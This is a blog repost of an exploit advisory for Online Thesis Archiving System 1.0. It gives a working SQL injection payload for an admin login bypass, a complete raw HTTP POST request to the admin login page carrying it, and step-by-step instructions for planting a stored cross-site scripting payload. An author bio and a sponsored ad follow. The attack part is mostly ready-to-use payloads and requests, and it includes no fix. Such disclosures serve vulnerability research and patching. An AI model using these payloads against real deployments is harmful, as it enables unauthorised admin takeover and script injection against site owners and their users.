Saturday, July 13, 2024

Online Thesis Archiving System 1.0 – SQLi Authentication Bypass

# Exploit Title: Online Thesis Archiving System 1.0 - SQLi Authentication Bypass
# Exploit Author: Yehia Elghaly (YME)
# Vendor Homepage:
# Software Link:
# Version: Online Thesis Archiving System 1.0
# Tested on: Windows, xampp
# CVE: N/A

- Description:SQLi Authentication Bypass
SQL Injection vulnerability exists in Online Thesis Archiving System 1.0 1.0. An admin account takeover exists with the payload: admin' # -  admin' or '1'='1


POST /otas/admin/login.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
DNT: 1
Connection: close
Cookie: PHPSESSID=0jsudph494kpt2a5jvbvdvsrsc
Upgrade-Insecure-Requests: 1

username=admin' #&password=admin' #

- Description: Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS) exists in Online Thesis Archiving System 1.0. 

1- Go to (http://localhost/otas/admin/?page=departments) and (http://localhost/otas/admin/?page=curriculum)
2- Add new (curriculum) or (department) 
3- Insert your payload <script>("xssyf")</script>
Share the word, let's increase Cybersecurity Awareness as we know it
Recommended:  WBCE CMS 1.5.1 - Admin Password Reset
- Sponsored -

Sponsored Offer

Unleash the Power of the Cloud: Grab $200 Credit for 60 Days on DigitalOcean!

Digital ocean free 200

Discover more infosec

User Avatar
Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

more infosec reads

Subscribe for weekly updates